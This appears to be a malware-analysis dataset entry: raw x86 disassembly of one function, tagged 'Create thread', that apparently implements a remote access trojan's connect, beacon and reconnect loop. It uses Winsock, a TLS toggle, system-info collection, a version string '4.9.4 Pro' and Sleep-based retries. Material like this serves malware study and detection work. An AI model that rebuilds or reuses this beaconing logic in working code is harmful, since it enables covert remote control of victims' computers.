Function at 0x1001326a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa2c
lea ecx, [ebp - 0x60]
push ebx
push esi
push edi
call fcn.1000210e
lea ecx, [ebp - 0x114]
call fcn.10019aa1
lea ecx, [ebp - 0x63c]
call fcn.1000210e
mov edi, 0x10072318
push 0x29
mov ecx, edi
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
call fcn.10039479
pop ecx
test eax, eax
je 0x100132c1
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x100685a0
call fcn.100020bd
push 0
mov ecx, edi
call fcn.10001e82
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10002125
lea ecx, [ebp - 0x48]
call fcn.10019f88
add esp, 0x30
xor ebx, ebx
call fcn.100049e0
push 0x38
mov ecx, edi
call fcn.10001e82
mov edx, 0x10062774
mov ecx, eax
call fcn.1000b576
test al, al
je 0x10013381
push 0x38
mov ecx, edi
call fcn.10001e82
mov ecx, eax
call fcn.100024c2
push eax
push 0x38
mov ecx, edi
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
push 0x37
mov ecx, edi
call fcn.10001e82
mov ecx, eax
call fcn.100024c2
push eax
push 0x37
mov ecx, edi
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
push 0x36
mov ecx, edi
call fcn.10001e82
mov ecx, eax
call fcn.100024c2
push 0x36
mov ecx, edi
mov esi, eax
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
mov edx, esi
mov ecx, eax
call fcn.10004881
add esp, 0x10
sub esp, 0x18
mov byte [0x10072599], 1
mov ecx, esp
push 0x100685a4
call fcn.100020bd
push ebx
lea ecx, [ebp - 0x48]
call fcn.10001e82
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10002125
lea ecx, [ebp - 0xc]
call fcn.10019f88
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.10001e82
push eax
push 0x100685a4
push 0
lea ecx, [ebp - 0xc]
call fcn.10001e82
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.10006cbb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.10002fcc
pop ecx
push eax
mov ecx, 0x1007259c
call fcn.1000200a
lea ecx, [ebp - 0x24]
call fcn.10002000
lea ecx, [ebp - 0x3c]
call fcn.10002000
push 2
lea ecx, [ebp - 0xc]
call fcn.10001e82
mov edx, 0x100627ec
mov ecx, eax
call fcn.10005c55
lea ecx, [ebp - 0x60]
test al, al
je 0x1001342c
mov byte [0x1006fae4], 0
push str.TLS_Off
jmp 0x10013438
mov byte [0x1006fae4], 1
push str.TLS_On
call fcn.10005bf1
sub esp, 0x18
lea eax, [ebp - 0x60]
mov esi, esp
lea ecx, [ebp - 0x3c]
mov edx, str.Connecting__
push 0x1007259c
push 0x100685b8
push eax
call fcn.10005449
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.1000646f
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002fcc
sub esp, 0x14
mov ecx, esp
push 0x10062674
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.10002000
lea ecx, [ebp - 0x3c]
call fcn.10002000
push ecx
push ecx
push 1
lea ecx, [ebp - 0xc]
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
mov edx, esi
mov ecx, eax
call fcn.10013229
test eax, eax
je 0x10013515
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.1001ad10
sub esp, 0x18
mov edx, str.Connection_Error:
mov ecx, esp
push eax
call fcn.10005425
sub esp, 0x14
mov ecx, esp
push 0x100625d8
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.10002000
mov esi, 0x10072568
jmp 0x10013de3
mov esi, 0x10072568
mov ecx, esi
call fcn.1000496f
test al, al
jne 0x10013550
sub esp, 0x18
mov ecx, esp
push str.Connection_Error:_Unable_to_create_socket
call fcn.100020bd
sub esp, 0x18
mov ecx, esp
push 0x100625d8
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
jmp 0x10013de3
push 0
push 0x3c
mov ecx, esi
call fcn.1000506b
push ecx
mov ecx, esi
call fcn.10004a0a
test al, al
je 0x10013de3
push 1
lea ecx, [ebp - 0xc]
call fcn.10001e82
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push eax
push 0x100685a4
push 0
call fcn.10001e82
push eax
lea eax, [ebp - 0x60]
mov edx, str.Connected___
push 0x100685b8
push eax
lea ecx, [ebp - 0xfc]
call fcn.10005449
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.1000646f
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.1000646f
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002fcc
sub esp, 0x14
mov ecx, esp
push 0x10062674
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
lea ecx, [ebp - 0x78]
call fcn.10002000
lea ecx, [ebp - 0xcc]
call fcn.10002000
lea ecx, [ebp - 0xe4]
call fcn.10002000
lea ecx, [ebp - 0xfc]
call fcn.10002000
mov byte [ebp - 0x9c], 0
lea edi, [ebp - 0x9b]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100199d0
push edx
push eax
lea eax, [ebp - 0x9c]
push str._I64u
push eax
call fcn.10012901
add esp, 0x10
lea ecx, [ebp - 0x24]
push 0x10072120
call fcn.10008abc
push 0xa
lea eax, [ebp - 0x84]
push eax
push dword [0x1006e9d0]
call fcn.1003ee5b
add esp, 0xc
mov ecx, 0x10072318
push 1
call fcn.10001e82
push eax
lea ecx, [ebp - 0xb4]
call fcn.10002125
mov esi, 0x10072300
mov ecx, esi
call fcn.100024c2
push eax
mov ecx, esi
call fcn.10001fce
push eax
push 0x104
lea eax, [ebp - 0xa28]
mov esi, 0x100722b8
push eax
push str.name
mov ecx, esi
call fcn.10001fce
mov edx, eax
call fcn.10011ace
add esp, 0x14
test al, al
je 0x100136d2
lea eax, [ebp - 0xa28]
push eax
lea ecx, [ebp - 0xb4]
call fcn.10005bf1
push ecx
push str.hlight
mov ecx, esi
call fcn.10001fce
push eax
mov edx, closesocket
lea ecx, [ebp - 0x3c]
call fcn.10011976
mov eax, dword [0x1006fd34]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x10013700
call eax
movzx edi, ax
push 0x1006fb18
lea ecx, [ebp - 0x78]
call fcn.100042a7
call fcn.1000ce80
mov edx, eax
lea ecx, [ebp - 0x624]
call fcn.10019e0d
sub esp, 0x18
mov ecx, 0x10071ec0
mov esi, esp
mov edx, 0x100722a0
push eax
push ecx
lea eax, [ebp - 0x3c]
push eax
push ecx
push 0x10072354
push ecx
lea eax, [ebp - 0x114]
push eax
push ecx
lea ecx, [ebp - 0x60c]
call fcn.10019eeb
push eax
push 0x10071ec0
movzx edx, di
lea ecx, [ebp - 0x5f4]
call fcn.10019d59
push eax
mov edi, 0x10071ec0
lea ecx, [ebp - 0xc]
push edi
push 0x100722e8
push edi
push 0
call fcn.10001e82
push eax
push edi
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x5dc]
call fcn.10019d59
push eax
push edi
call fcn.10019cb1
mov edx, eax
lea ecx, [ebp - 0x5c4]
call fcn.10019d59
mov edx, dword [0x10072104]
lea ecx, [ebp - 0x5ac]
push eax
push edi
call fcn.10019d59
push eax
push edi
lea ecx, [ebp - 0x594]
call fcn.10019c61
mov edx, eax
lea ecx, [ebp - 0x57c]
call fcn.10019eeb
push eax
push edi
mov edx, 0x10071d38
lea ecx, [ebp - 0x564]
call fcn.10019eeb
push eax
push edi
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x54c]
call fcn.10019eeb
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x534]
call fcn.10019eeb
push eax
push edi
push str.4.9.4_Pro
push edi
lea eax, [ebp - 0x9c]
mov edx, 0x10072698
push eax
push edi
lea ecx, [ebp - 0x51c]
call fcn.10019eeb
push eax
push edi
push 0x100729d0
push edi
lea ecx, [ebp - 0x504]
call fcn.1000e42e
push eax
push edi
mov edx, 0x10072324
lea ecx, [ebp - 0x4ec]
call fcn.10019eeb
push eax
push edi
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x4d4]
call fcn.10002ff0
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4bc]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4a4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.1000646f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.1000646f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.1000646f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12c]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.10002fcc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002f56
pop ecx
mov esi, 0x10072568
push 0x4b
mov ecx, esi
call fcn.10004be3
lea ecx, [ebp - 0xfc]
call fcn.10002000
lea ecx, [ebp - 0xe4]
call fcn.10002000
lea ecx, [ebp - 0xcc]
call fcn.10002000
lea ecx, [ebp - 0x12c]
call fcn.10002000
lea ecx, [ebp - 0x144]
call fcn.10002000
lea ecx, [ebp - 0x15c]
call fcn.10002000
lea ecx, [ebp - 0x174]
call fcn.10002000
lea ecx, [ebp - 0x18c]
call fcn.10002000
lea ecx, [ebp - 0x1a4]
call fcn.10002000
lea ecx, [ebp - 0x1bc]
call fcn.10002000
lea ecx, [ebp - 0x1d4]
call fcn.10002000
lea ecx, [ebp - 0x1ec]
call fcn.10002000
lea ecx, [ebp - 0x204]
call fcn.10002000
lea ecx, [ebp - 0x21c]
call fcn.10002000
lea ecx, [ebp - 0x234]
call fcn.10002000
lea ecx, [ebp - 0x24c]
call fcn.10002000
lea ecx, [ebp - 0x264]
call fcn.10002000
lea ecx, [ebp - 0x27c]
call fcn.10002000
lea ecx, [ebp - 0x294]
call fcn.10002000
lea ecx, [ebp - 0x2ac]
call fcn.10002000
lea ecx, [ebp - 0x2c4]
call fcn.10002000
lea ecx, [ebp - 0x2dc]
call fcn.10002000
lea ecx, [ebp - 0x2f4]
call fcn.10002000
lea ecx, [ebp - 0x30c]
call fcn.10002000
lea ecx, [ebp - 0x324]
call fcn.10002000
lea ecx, [ebp - 0x33c]
call fcn.10002000
lea ecx, [ebp - 0x354]
call fcn.10002000
lea ecx, [ebp - 0x36c]
call fcn.10002000
lea ecx, [ebp - 0x384]
call fcn.10002000
lea ecx, [ebp - 0x39c]
call fcn.10002000
lea ecx, [ebp - 0x3b4]
call fcn.10002000
lea ecx, [ebp - 0x3cc]
call fcn.10002000
lea ecx, [ebp - 0x3e4]
call fcn.10002000
lea ecx, [ebp - 0x3fc]
call fcn.10002000
lea ecx, [ebp - 0x414]
call fcn.10002000
lea ecx, [ebp - 0x42c]
call fcn.10002000
lea ecx, [ebp - 0x444]
call fcn.10002000
lea ecx, [ebp - 0x45c]
call fcn.10002000
lea ecx, [ebp - 0x474]
call fcn.10002000
lea ecx, [ebp - 0x48c]
call fcn.10002000
lea ecx, [ebp - 0x4a4]
call fcn.10002000
lea ecx, [ebp - 0x4bc]
call fcn.10002000
lea ecx, [ebp - 0x4d4]
call fcn.10002000
lea ecx, [ebp - 0x4ec]
call fcn.10002000
lea ecx, [ebp - 0x504]
call fcn.10002000
lea ecx, [ebp - 0x51c]
call fcn.10002000
lea ecx, [ebp - 0x534]
call fcn.10002000
lea ecx, [ebp - 0x54c]
call fcn.10002000
lea ecx, [ebp - 0x564]
call fcn.10002000
lea ecx, [ebp - 0x57c]
call fcn.10002000
lea ecx, [ebp - 0x594]
call fcn.10001f29
lea ecx, [ebp - 0x5ac]
call fcn.10002000
lea ecx, [ebp - 0x5c4]
call fcn.10002000
lea ecx, [ebp - 0x5dc]
call fcn.10002000
lea ecx, [ebp - 0x5f4]
call fcn.10002000
lea ecx, [ebp - 0x60c]
call fcn.10002000
lea ecx, [ebp - 0x624]
call fcn.10002000
lea ecx, [ebp - 0x78]
call fcn.10001f29
push 1
push 0x10013e2a
mov ecx, esi
call fcn.10004d38
mov eax, dword [0x1006fd38]
test eax, eax
je 0x10013d6a
cmp byte [0x1006fd26], 0
je 0x10013d6a
call eax
mov byte [0x1006fd26], 0
cmp byte [0x10072102], 0
je 0x10013d7d
mov ecx, 0x100720b8
call fcn.1000abf8
call fcn.10005bb4
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.100020bd
sub esp, 0x18
mov ecx, esp
push 0x10062730
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
cmp byte [0x10071aaa], 0
je 0x10013dc3
xor eax, eax
push eax
push eax
push eax
push fcn.10018fde
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x3c]
call fcn.10002000
lea ecx, [ebp - 0xb4]
call fcn.10002000
lea ecx, [ebp - 0x24]
call fcn.10001f29
mov edi, 0x10072318
mov ecx, esi
call fcn.10004f4b
lea ecx, [ebp - 0x48]
inc ebx
call fcn.1000222e
cmp ebx, eax
jb 0x10013e1d
push 2
mov ecx, edi
xor ebx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
call fcn.10039479
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc]
call fcn.10001ead
jmp 0x10013381